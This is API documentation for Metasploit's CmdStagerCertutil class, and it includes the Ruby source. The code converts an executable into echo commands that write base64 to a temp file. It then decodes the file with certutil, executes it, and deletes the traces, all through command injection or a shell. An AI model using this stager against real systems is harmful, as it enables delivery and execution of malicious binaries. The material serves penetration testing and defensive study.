class Rex::Exploitation::CmdStagerCertutil

This class provides the ability to create a sequence of commands from an executable. When this sequence is ran via command injection or a shell, the resulting exe will be written to disk and executed.

This particular version uses Windows certutil to base64 decode a file, created via echo >>, and decode it to the final binary.

Written by xistence Original discovery by @mattifestation - gist.github.com/mattifestation/47f9e8a431f96a266522

Public Class Methods

new(exe) click to toggle source
Calls superclass method Rex::Exploitation::CmdStagerBase::new
# File lib/rex/exploitation/cmdstager/certutil.rb, line 26
def initialize(exe)
  super

  @var_encoded = Rex::Text.rand_text_alpha(5)
  @var_decoded = Rex::Text.rand_text_alpha(5)
  @decoder     = nil # filled in later
end

Public Instance Methods

cmd_concat_operator() click to toggle source

Windows uses & to concat strings

@return [String] Concat operator

# File lib/rex/exploitation/cmdstager/certutil.rb, line 108
def cmd_concat_operator
  " & "
end
compress_commands(cmds, opts) click to toggle source

We override compress commands just to stick in a few extra commands last second.. @param cmds [Array] Complete command line @param opts [Array] Extra options for command line generation @return [Array] The complete command line including cleanup

# File lib/rex/exploitation/cmdstager/certutil.rb, line 92
def compress_commands(cmds, opts)
  # Make it all happen
  cmds << "#{@tempdir}#{@var_decoded}.exe"

  # Clean up after unless requested not to..
  if (not opts[:nodelete])
    cmds << "del #{@tempdir}#{@var_encoded}.b64"
    # NOTE: We won't be able to delete the exe while it's in use.
  end

  super
end
encode_payload(opts) click to toggle source

Simple base64 encoder for the executable @param opts [Array] The options to generate the command line @return [String] Base64 encoded executable

# File lib/rex/exploitation/cmdstager/certutil.rb, line 51
def encode_payload(opts)
  Rex::Text.encode_base64(@exe)
end
generate_cmds(opts) click to toggle source

Override just to set the extra byte count @param opts [Array] The options to generate the command line @return [Array] The complete command line

# File lib/rex/exploitation/cmdstager/certutil.rb, line 38
def generate_cmds(opts)
  # Set the start/end of the commands here (vs initialize) so we have @tempdir
  @cmd_start = "echo "
  @cmd_end   = ">>#{@tempdir}#{@var_encoded}.b64"
  xtra_len = @cmd_start.length + @cmd_end.length + 1
  opts.merge!({ :extra => xtra_len })
  super
end
generate_cmds_decoder(opts) click to toggle source

Generate the commands that will decode the file we just created @param opts [Array] The options to generate the command line @return [Array] The certutil Base64 decoder part of the command line

# File lib/rex/exploitation/cmdstager/certutil.rb, line 79
def generate_cmds_decoder(opts)

  cmds = []
  cmds << "certutil -decode #{@tempdir}#{@var_encoded}.b64 #{@tempdir}#{@var_decoded}.exe"
  return cmds
end
parts_to_commands(parts, opts) click to toggle source

Combine the parts of the encoded file with the stuff that goes before / after it. @param parts [Array] Splitted commands @param opts [Array] The options to generate the command line @return [Array] The command line

# File lib/rex/exploitation/cmdstager/certutil.rb, line 61
def parts_to_commands(parts, opts)

  cmds = []
  parts.each do |p|
    cmd = ''
    cmd << @cmd_start
    cmd << p
    cmd << @cmd_end
    cmds << cmd
  end

  cmds
end